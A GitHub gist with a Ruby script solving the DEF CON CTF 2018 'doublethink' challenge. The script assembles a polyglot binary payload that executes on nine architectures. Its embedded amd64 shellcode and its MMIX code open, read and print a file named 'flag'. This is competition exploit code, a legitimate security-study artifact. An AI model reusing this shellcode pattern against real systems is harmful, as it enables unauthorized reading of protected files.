Skip to content

Instantly share code, notes, and snippets.

@shinh
Created August 19, 2018 13:58
Show Gist options
  • Save shinh/25dd44573977110104b62ff8cd08a292 to your computer and use it in GitHub Desktop.
Save shinh/25dd44573977110104b62ff8cd08a292 to your computer and use it in GitHub Desktop.
DEF CON CTF 2018 doublethink - A polyglot of 9 architectures
#!/usr/bin/env ruby
#
# DEF CON CTF 2018 doublethink
#
# A polyglot of 9 architectures amd64, mix, pdp-8, pdp-1, pdp-10,
# nova, lgp-30, clemency, and mmix. MMIX was added after the CTF.
#
# This will generate a file named "payload" and you can try it by
#
# $ ./scripts/service.py < payload
Encoding.default_external = 'binary'
Encoding.default_internal = 'binary'
def File.read(filename)
File.open(filename, 'r:binary') do |f|
f.read
end
end
def File.write(filename, s)
File.open(filename, 'w:binary') do |f|
f.write(s)
end
end
class Payload
def initialize
@pl = 'x' * (4096 * 8)
@by = {}
end
def worker(w)
@w = w
end
def fill(values, off, nb)
values.each_with_index do |v, i|
nb.times do |j|
b = v[nb-1-j]
fill_b(off + nb * i + j, b)
end
end
end
def fill_b(off, b)
if @pl[off] != 'x' && @pl[off] != b.to_s && !$overwrite
raise "#{off} was alerady filled by #{@by[off]} att #{@w}"
end
@pl[off] = b.to_s
@by[off] = @w
end
def payload
#STDERR.puts @pl
[@pl.gsub('x', '0')].pack('B*')
end
def owners
o = nil
s = nil
(4096*8).times do |i|
no = @by[i]
if o != no && o
puts "#{o} #{s}-#{i-1}"
end
if o != no && no
s = i
end
o = no
end
end
end
pl = Payload.new
pl.worker('amd64')
#amd64_prelude = [0x54, 0xeb, 0x7f]
amd64_start = 0x7f
amd64_prelude = [0x51, 0xeb, amd64_start]
pl.fill(amd64_prelude, 0, 8)
File.write('sc.asm', <<SHELLCODE)
BITS 64
push 0
mov rdi, 0x67616c66
push rdi
mov rdi, rsp
xor rsi, rsi
mov eax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 99
xor rax, rax
syscall
mov rdi, 1
mov rax, 1
syscall
SHELLCODE
system("nasm sc.asm -o shellcode")
sc = File.read('shellcode')
pl.fill(sc.unpack('c*'), ((amd64_start + amd64_prelude.size) * 8), 8)
pl.worker('mix')
pl.fill([06101002345], 240+30+60, 30)
pl.worker('pdp8')
pdp8_tramp = 14
pdp8_main = 58
pdp8_code = []
pdp8_code << 0b111010110111
pdp8_code << 0b111100000000
ptr_addr = 64 + pdp8_code.size
pdp8_code << 01336
pdp8_code << ((024 << 7) | (64 + pdp8_tramp))
pl.fill(pdp8_code[2,2], 12*2, 12)
pdp8_code = [((024 << 7) | (64 + pdp8_main))]
pl.fill(pdp8_code, pdp8_tramp*12, 12)
pdp8_code = []
pdp8_code << ((4 << 7) | (ptr_addr)) # TAD
pdp8_code << ((014 << 7) | 010) # DCA
loop_ptr = ptr_addr + pdp8_main + pdp8_code.size
pdp8_code << 07200 # CLA
pdp8_code << ((6 << 7) | 010) # TAD - load char
pdp8_code << 07450 # SNA
pdp8_code << 07402 # HLT
pdp8_code << 06046 # TLS - putchar
pdp8_code << 06041 # TSF - wait until output
pdp8_code << ((024 << 7) | (64 + pdp8_main + pdp8_code.size - 1))
pdp8_code << ((024 << 7) | (loop_ptr-2))
pl.fill(pdp8_code, 12*pdp8_main, 12)
# REF: http://retrocmp.com/projects/blinkenbone/simulated-panels/232-virtual-pdp-10-ki10-macro-light-and-hello
pl.worker('pdp10')
pdp10_start = 2
pdp10_main = 850
pdp10_code = []
pdp10_code << (0330 << 27 | 1<<13 | 900) # skip
pl.fill(pdp10_code, pdp10_start*36, 36)
pl.fill([1], 36*4, 1)
pdp10_code = []
pdp10_code << (0324 << 27 | pdp10_main | 1<<18) # jump to main
pl.fill(pdp10_code, 5*36, 36)
pdp10_code = []
pdp10_code << (0201 << 27 | 2 << 23 | 0400)
20.times do |i|
pdp10_code << (0200 << 27 | 01337+i)
pdp10_code << (0202 << 27 | 033)
pdp10_code << (0436 << 27 | 2 << 23 | 033)
pdp10_code << (0700200 << 18 | 012000) # output
pdp10_code << (0332 << 27 | 033)
pdp10_code << (0324 << 27 | pdp10_code.size + pdp10_main - 1)
end
pdp10_code << (0254 << 27 | 4 << 23) # HLT
pl.fill(pdp10_code, (pdp10_main-64)*36, 36)
pl.worker('pdp1')
pdp1_start = 6
pdp1_main = 1111
pdp1_code = [0] * pdp1_start
pdp1_code << ((030 << 13) | pdp1_main)
pl.fill(pdp1_code[pdp1_start..-1], pdp1_start*18, 18)
pdp1_code = []
pdp1_code << 38
pdp1_code << 01
pdp1_code << 0
pdp1_code << (1<<13)
pdp1_code << ((011 << 13) | (pdp1_main - 3))
pdp1_code << 0b11101_10_00011_000011
pdp1_code << ((011 << 13) | (pdp1_main - 3))
pdp1_code << 0b11101_10_00011_000011
pdp1_code << ((011 << 13) | (pdp1_main - 3))
pdp1_code << 0b11101_10_00011_000011
10.times do
pdp1_code << ((010 << 13) | (pdp1_main - 1)) # AC=*addr
pdp1_code << ((020 << 13) | (pdp1_main - 2)) # AC+=1
pdp1_code << ((013 << 13) | (pdp1_main - 1)) # *addr=AC
pdp1_code << ((011 << 13) | (pdp1_main - 1) | 0010000) # IO=*addr
pdp1_code << ((033 << 13) | (016 << 9) | 63) # IO>>=6
pdp1_code << ((033 << 13) | (016 << 9) | 63) # IO>>=6
pdp1_code << 0b11101_10_00011_000011
pdp1_code << ((011 << 13) | (pdp1_main - 1) | 0010000) # IO=*addr
pdp1_code << ((033 << 13) | (016 << 9) | 63) # IO>>=6
pdp1_code << 0b11101_10_00011_000011
pdp1_code << ((011 << 13) | (pdp1_main - 1) | 0010000) # IO=*addr
pdp1_code << 0b11101_10_00011_000011
end
pl.fill(pdp1_code, (pdp1_main-3-64)*18, 18)
pl.worker('nova')
# 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
# +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
# | 0| op | AC |in| mode| displacement | memory reference
# +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
# https://hu.wikipedia.org/wiki/Data_General_Nova#Hello_world_program
nova_code = []
ioSKP = 7
nova_code << 0
nova_code << 01337
# dst pc addr
nova_code << (6<<11 | 1<<8 | 0377) # ac2 = (pc-1)
10.times do |i|
nova_code << (4<<11 | 2<<8 | 0+i) # ac0 = (pc-1)
nova_code << (1<<15 | 0 << 13 | 0<<11 | 2 << 8 | 3<<6) # swap8
#nova_code << (1<<15 | 1234)
# dstAC<<11
# ioDOA iopS dev
nova_code << (060000 | 2<<8 | 1<<6 | 9) # putchar
nova_code << (060000 | ioSKP << 8 | 1 << 6 | 9)
nova_code << (0<<11 | 1<<8 | 0377) # pc -= 2
nova_code << (1<<15 | 0 << 13 | 0<<11 | 2 << 8 | 3<<6) # swap8
nova_code << (060000 | 2<<8 | 1<<6 | 9) # putchar
nova_code << (060000 | ioSKP << 8 | 1 << 6 | 9)
nova_code << (0<<11 | 1<<8 | 0377) # pc -= 2
end
nova_code << (060000 | 6<<8 | 077) # halt
pl.fill(nova_code, (242-64-2)*16, 16)
pl.worker('lgp')
pl.fill([0b1010], 4*32+8, 4)
lgp_main = 513-64-1
lgp_code = []
lgp_code << (8<<15)
15.times do |i|
lgp_code << (1<<15 | (13*64+37+i) << 1) # load char
lgp_code << (14<<15 | lgp_main+64-1 << 1)
lgp_code << (12<<15 | lgp_main+64+lgp_code.size << 1) # mod
lgp_code << 0
lgp_code << 0 # wait
end
lgp_code << 0
pl.fill(lgp_code, (lgp_main-1)*31, 31)
pl.worker('mmix')
pl.fill([0x02], 64, 8)
pl.fill([0x02], 128, 8)
pl.fill([0x02], 128+32, 8)
pl.fill([0x02], 128+96, 8)
pl.fill([0x42, 0, 0x00, 0x28], 128+128, 8)
mmix_code = []
mmix_pos = 1536
mmix_data = mmix_pos / 8 + 7 * 4
mmix_code += [0xe3, 255, 2, mmix_data + 8 - 4]
mmix_code += [0, 0, 1, 3] # open
mmix_code += [0xe3, 255, 2, mmix_data + 20 - 4 + 4]
mmix_code += [0, 0, 3, 3] # read
mmix_code += [0xe3, 255, 2, mmix_data + 20 - 4 + 4]
mmix_code += [0, 0, 6, 1] # write
mmix_code += [0, 0, 0, 0] # halt
mmix_code += "flag".unpack("c*")
mmix_code += [0, 0, 0, 0]
mmix_code += [0, 0, 2, mmix_data]
mmix_code += [0, 0, 0, 0]
mmix_code += [0, 0, 0, 0]
mmix_code += [0, 0, 0, 0]
mmix_code += [0, 0, 2, mmix_data + 50]
mmix_code += [0, 0, 0, 0]
mmix_code += [0, 0, 0, 50]
pl.fill(mmix_code, mmix_pos, 8)
pl.worker('clemency')
pl.fill([0, 0b111000100, 0, 999], 36*9 + 6*9, 9)
clemency_code = []
def mh(v, r)
v = v / 1024
[v >> 9 | (r&1) << 8, 0b10001<<4 | r>>1, v & 511]
end
clemency_code += mh(0x05010000, 4)
2.times do |j|
clemency_code += mh(0x04010000, 0)
8.times do |i|
if i < 8
clemency_code += [0 | 2 << 6, 0b1010100<<2, 0, 0, 0, (i+j*7)<<3]
clemency_code += [2<<1 | 2<<6, 0b0111000 << 2, (i+1)<<3]
clemency_code += [0 | 3 << 6, 0b1010100<<2, 0, 0, 0, (i+j*7+1)<<3]
if 7-i != 0
clemency_code += [3<<1 | 3<<6, 0b0111001 << 2, (7-i)<<3]
end
clemency_code += [2<<1 | 2<<6, 0b0011000 << 2, 3<<5]
clemency_code += [4 << 1 | 2 << 6, 0b1011000<<2, 0, 0, 0, i<<3]
end
end
clemency_code += [1<<8, 0b10010<<4, 8]
clemency_code += [0 | 2 << 6, 0b1010100<<2, 0, 0, 0, 0]
clemency_code += [0, 0b10010<<4, 2]
clemency_code += mh(0x05012000, 0)
clemency_code += [1 << 6, 0b1011000<<2, 0, 0, 0, 0]
end
pl.fill(clemency_code, 487*9, 9)
payload = pl.payload
payload += "\namd64\nmix\npdp-8\npdp-1\npdp-10\nnova\nlgp-30\nclemency\nmmix\n"
STDERR.puts pl.owners
File.write('payload', payload)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment